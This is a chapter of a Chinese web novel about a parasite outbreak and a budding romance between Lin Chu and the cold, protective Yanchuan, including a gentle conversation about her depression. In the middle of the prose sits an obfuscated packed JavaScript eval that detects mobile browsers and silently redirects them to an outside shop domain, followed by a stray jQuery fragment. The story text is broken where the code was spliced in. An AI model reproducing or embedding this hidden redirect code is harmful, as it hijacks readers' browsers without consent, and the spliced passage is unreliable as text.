怪物的嘴里还在嘟囔着什么,但声音越来越小,越来越模糊。
林初虚弱地抬起眼皮。
她看到怪物的脑袋从脖子上滚落下来,像一个泄了气的皮球,咕噜噜地滚到了墙角。
从它脖子里那个黑洞洞的腔口中,爬出了一个小小的东西——
四肢黢黑,只有一个成年人的巴掌那么大,摇摇晃晃地在地上移动着。
它像某种虫子。
但最让人毛骨悚然的是——
在它的后背上,长着一张完整的人脸。
虽然五官被挤压得严重扭曲,但依然能看出眼睛、鼻子、嘴巴的布局。
那张脸还在动——嘴唇一张一合,发出细碎的、几乎听不见的声音——
“活……”
“吃掉……”
它正缓慢地朝林初的方向爬过来。
林初想要后退,想要逃走。
但她已经没有力气了。
就在这时
巷口出现了一个人的影子。
那道影子被阳光拉得很长很长,一直延伸到巷子的最深处,覆盖住了所有的黑暗。
也覆盖住了地上那只还在蠕动的东西。
——
“不……不要!”
林初惊呼一声,猛地从梦中惊醒。
她整个人悬在空中,被一双有力的手臂稳稳地抱在怀里。
那双手臂很稳,没有一丝晃动。
她甚至能感觉到对方的体温——不,不是体温。
是凉的。
但那种凉意并不让人害怕,反而让她莫名地觉得安心。
林初抬起头,盯着那张脸看了几秒。
是他。
“……彦川?”她的声音还带着刚醒来的沙哑。
“嗯。”
他低头看了她一眼,应得很轻,像是在确认她还好不好。
林初下意识地想要挣扎,但刚动了一下,就想起是他从那个巷子里把自己救出来的。
心里忽然涌上一阵不好意思。
自己之前……是不是误会他了?
察觉到林初的动作,彦川收紧了手臂——不是因为别的,只是怕她摔下去。
但他没有解释,只是把目光移开了。
像是什么都没发生一样。
但林初的耳朵红了一点。
“……那到底是什么东西?”林初的声音闷闷的,从他怀里传出来。
彦川抱着她的手臂没有挪动分毫,步伐很稳,走在空荡荡的街道上。
“是寄生。”他说。
林初大概也猜到了,没有很惊讶:“是所有人?”
彦川侧身躲过一辆停在路边的车:“不,是部分。目前还不知道寄生的条件。”
“那些东西离开人体之后,会疯狂寻找最近的活体。”
林初想起了最后看到的那个长着人脸的虫子:“我晕倒之前,那个——”
话还没说完,她感觉腰间的手动了一下。
紧接着,一个盖着黑布的小笼子被提到了她面前。
微风吹过,黑布的一角被掀起来。
她看到了里面的东西。
那个黑色的小东西趴在笼子底部,奄奄一息,背上那张扭曲的人脸闭着眼睛,像是在睡觉,又像是在等死。
“这里。”彦川说,语气听不出什么情绪。
“它……”
彦川低下头,两人的视线再次对上。
这一次,他没有躲开。
“没杀。”他说,“觉得你会想亲自动手。”
林初愣了一下,然后忍不住弯了一下嘴角。
“……你怎么知道我想亲自动手?”
彦川认真地想了想,说:“不知道。就是觉得。”
林初看了他一眼,没再问了。
但她把那个笼子接了过来,小心翼翼地提在手里。
彦川的话刚说完,迎面走来一个四十多岁的阿姨,手里提着一袋子东西,看见他俩,眼睛一下子亮了——
“哟,木木啊!这是男朋友?真甜蜜啊。”
林初的脸“腾”地一下红到了耳根,双腿拼命挣扎着要下来。
“不、不是……”
男朋友?
彦川站在原地,呆呆地看着林初那张红透了的脸。
他观察着她的表情,脑子里飞快地转动着。
“男朋友”……是伴侣的意思吗?
他忽然有些紧张。
甚至有些期待——期待面前这个女人会如何回答。
他们不是已经有契约了吗?
契约应该就是男朋友的意思吧?
“哈哈……”林初笑了一声,从彦川怀里跳下来,拍了拍大姨的胳膊,想了一个蹩脚的理由,“不不不,我、我刚刚有点低血糖了,刚好遇到他,这、这是我同学,哈哈。”
同学。
彦川的耳朵捕捉到了这两个字。
他心里忽然涌上一阵说不清的感觉。
像是有什么东西轻轻地坠了一下。
不是疼。
就是……不太舒服。
杨阿姨脸上露出一个意味深长的表情,没有追问,只是把手里的袋子递给她——
那是一袋小龙虾,个个洗得干干净净。
“诺,这个给你。我记得芬儿最喜欢吃这个了,还非得吃应季的虾子。你带回去煮煮。”
林初接过袋子的手顿了一下。
眼眶有些湿润。
她张了张嘴,又把到嘴边的话咽了回去。
她想说——阿姨,外面很危险,不要出门。
她想说——阿姨,那些怪物会吃人。
她想说——阿姨,我妈妈被困在外面了,我不知道她还能不能吃上你做的虾。
但她没有说。
说什么呢?
平白让她担心罢了。
“阿姨,”林初想了想,开口,“最近好像有什么流感,您在家别出门,多囤点吃的,我听说……这几天可能就要封了。”
之前青川市已经爆发过一次大面积的病毒感染,再加上林初从来不会无缘无故乱说,杨莲心里是相信的。
“好的好的,阿姨知道了。你也快些回家吧。”
看见杨阿姨朝家的方向走去,林初才放心地转过头。
她看见彦川还站在原地,盯着杨阿姨离开的方向发呆。
“怎么了?看到啥了?”
“你怎么确定她没有被寄生?”
彦川忽然开口的话让林初愣了半秒。
“这……杨阿姨看起来很正常啊,而且你不是也说了,并不是所有人都被寄生了,不怕一万就怕万一嘛”
她的话顿了顿,然后声音低了下去,像是在跟自己说。
“……但我也没办法把每个人都检查一遍啊。”
彦川看了她一眼,没再问了。
“对了——”
林初转过身,发丝被风吹起来,“晕倒之前,是你喂我吃了药吗?”
她的记忆很模糊,只记得一个男人半跪在她面前,将一颗白色的小药片小心翼翼地塞进她嘴里。
那个动作很轻。
轻到像是在害怕弄碎什么。
彦川没说话,只是点了点头。
他从怀里掏出一个药瓶,递给她。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586934|205319||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就是这个。
林初接过药瓶,低头看着。
那是她的药。
白色的瓶身,上面贴着药房的标签,密密麻麻写着她看不太懂的医学术语。
她还没来得及说话,彦川又开口了——
“你不开心吗?”
“什么?”林初抬起头,没反应过来。
彦川用手指点了点瓶身上的字:“上面写,『用于改善情绪障碍相关症状』。”
他看着她。
“只有不开心才会吃这个药。”
他说这句话的时候,语气还是那样,平平的,像在陈述一个事实。
但他看着她的眼神不一样了。
林初注意到了。
他的眼神里有一种很认真、很专注的东西,像是在等一个很重要的答案。
她笑了一下。
“因为生病了呀。”
“你是说你不开心。”彦川说,没有被她的话带偏。
“我是问你……”
他顿了一下。
“为什么不开心。”
林初愣住了。
风从巷口吹过来,把她的头发吹到脸上。她没有去拨,就那么愣愣地看着彦川。
从来没有人问过她这个问题。
医生问的是“症状持续多久了”。
妈妈问的是“今天吃药了吗”。
同学问的是“你怎么休学了”。
从来没有人问过她——“为什么不开心”。
“……我也不知道。”
她的声音很轻,轻到像是在跟自己说。
“就……有一天,突然就不开心了,然后就一直不开心,好像怎么也高兴不起来。”
彦川没说话。
他就那么安静地听着。
“后来遇到了一个人,以为他是那个能让我开心起来的人。”林初的声音更低了一些,“结果发现……不是。”
“他让你更不开心了?”
“……嗯。”
彦川沉默了几秒。
然后他说:“那个人在哪里?”
林初抬头看他。
他的表情很认真。认真的不像是在开玩笑。
“你要干嘛?”
“……”彦川没有回答。
但他把拳头捏了一下。
林初看着他的拳头,忽然没忍住笑了出来。
“你该不会是要去打他吧?”
“……”
“你真的要打他?”
“……”彦川终于开口了,声音闷闷的,“他让你不开心。”
“你打了他我也不会开心啊。”
“……”
“而且他现在肯定已经被吓得躲在家里不敢出门了。你找不到他的。”
“……”
“你怎么这么喜欢打人啊。”
“我没有。”彦川否认得很快,“我只打过你。”
空气安静了一秒。
“……你还挺骄傲?”
“没有。”
林初看着他那副死不承认的样子,忍不住弯起了嘴角。
她低下头,把药瓶攥在手心里。
“……谢谢你。”她小声说。
“谢什么?”
“谢谢你问我。”
彦川看了她一眼,没再说话了。
但他的嘴角,极其缓慢地弯了一个很小的弧度。
很小。
小到林初没有看到。
两个人就这样站在巷口,谁都没有说话。
风吹过来,带着初夏的温度。
和一丝淡淡的星芹花的香气。